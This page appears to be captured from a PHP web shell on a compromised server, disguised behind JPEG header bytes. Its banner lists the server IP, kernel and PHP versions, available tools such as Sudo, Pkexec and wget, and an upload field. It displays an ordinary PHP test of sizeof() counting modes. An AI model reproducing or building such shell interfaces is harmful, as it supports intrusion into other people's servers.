????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.28 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/b8009/php-5.6.22/ext/standard/tests/array/ |
Upload File : |
--TEST--
Test sizeof() function : basic functionality - for non-scalar type(array)
--FILE--
<?php
/* Prototype : int sizeof(mixed $var[, int $mode] )
* Description: Counts an elements in an array. If Standard PHP library is
* installed, it will return the properties of an object.
* Source code: ext/standard/basic_functions.c
* Alias to functions: count()
*/
/* Testing the sizeof() for non-scalar type(array) value
* in default, COUNT_NORMAL and COUNT_RECURSIVE modes.
* Sizeof() has been tested for simple integer, string,
* indexed and mixed arrays.
*/
echo "*** Testing sizeof() : basic functionality ***\n";
$int_array = array(1, 2, 3, 4);
$string_array = array("Saffron", "White", "Green");
$indexed_array = array("Aggression" => "Saffron", "Peace" => "White", "Growth" => "Green");
$mixed_array = array(1, 2, "Aggression" => "Saffron", 10 => "Ten", "Ten" => 10);
echo "-- Testing sizeof() with integer array in default, COUNT_NORMAL, COUNT_RECURSIVE modes --\n";
echo "default mode: ";
var_dump( sizeof($int_array) );
echo "\n";
echo "COUNT_NORMAL mode: ";
var_dump( sizeof($int_array, COUNT_NORMAL) );
echo "\n";
echo "COUNT_RECURSIVE mode: ";
var_dump( sizeof($int_array, COUNT_RECURSIVE) );
echo "\n";
echo "-- Testing sizeof() with string array in default, COUNT_NORMAL, COUNT_RECURSIVE modes --\n";
echo "default mode: ";
var_dump( sizeof($string_array) );
echo "\n";
echo "COUNT_NORMAL mode: ";
var_dump( sizeof($string_array, COUNT_NORMAL) );
echo "\n";
echo "COUNT_RECURSIVE mode: ";
var_dump( sizeof($string_array, COUNT_RECURSIVE) );
echo "\n";
echo "-- Testing sizeof() with indexed array in default, COUNT_NORMAL, COUNT_RECURSIVE modes --\n";
echo "default mode: ";
var_dump( sizeof($indexed_array) );
echo "\n";
echo "COUNT_NORMAL mode: ";
var_dump( sizeof($indexed_array, COUNT_NORMAL) );
echo "\n";
echo "COUNT_RECURSIVE mode: ";
var_dump( sizeof($indexed_array, COUNT_RECURSIVE) );
echo "\n";
echo "-- Testing sizeof() with mixed array in default, COUNT_NORMAL, COUNT_RECURSIVE modes --\n";
echo "default mode: ";
var_dump( sizeof($mixed_array) );
echo "\n";
echo "COUNT_NORMAL mode: ";
var_dump( sizeof($mixed_array, COUNT_NORMAL) );
echo "\n";
echo "COUNT_RECURSIVE mode: ";
var_dump( sizeof($mixed_array, COUNT_RECURSIVE) );
echo "Done";
?>
--EXPECTF--
*** Testing sizeof() : basic functionality ***
-- Testing sizeof() with integer array in default, COUNT_NORMAL, COUNT_RECURSIVE modes --
default mode: int(4)
COUNT_NORMAL mode: int(4)
COUNT_RECURSIVE mode: int(4)
-- Testing sizeof() with string array in default, COUNT_NORMAL, COUNT_RECURSIVE modes --
default mode: int(3)
COUNT_NORMAL mode: int(3)
COUNT_RECURSIVE mode: int(3)
-- Testing sizeof() with indexed array in default, COUNT_NORMAL, COUNT_RECURSIVE modes --
default mode: int(3)
COUNT_NORMAL mode: int(3)
COUNT_RECURSIVE mode: int(3)
-- Testing sizeof() with mixed array in default, COUNT_NORMAL, COUNT_RECURSIVE modes --
default mode: int(5)
COUNT_NORMAL mode: int(5)
COUNT_RECURSIVE mode: int(5)
Done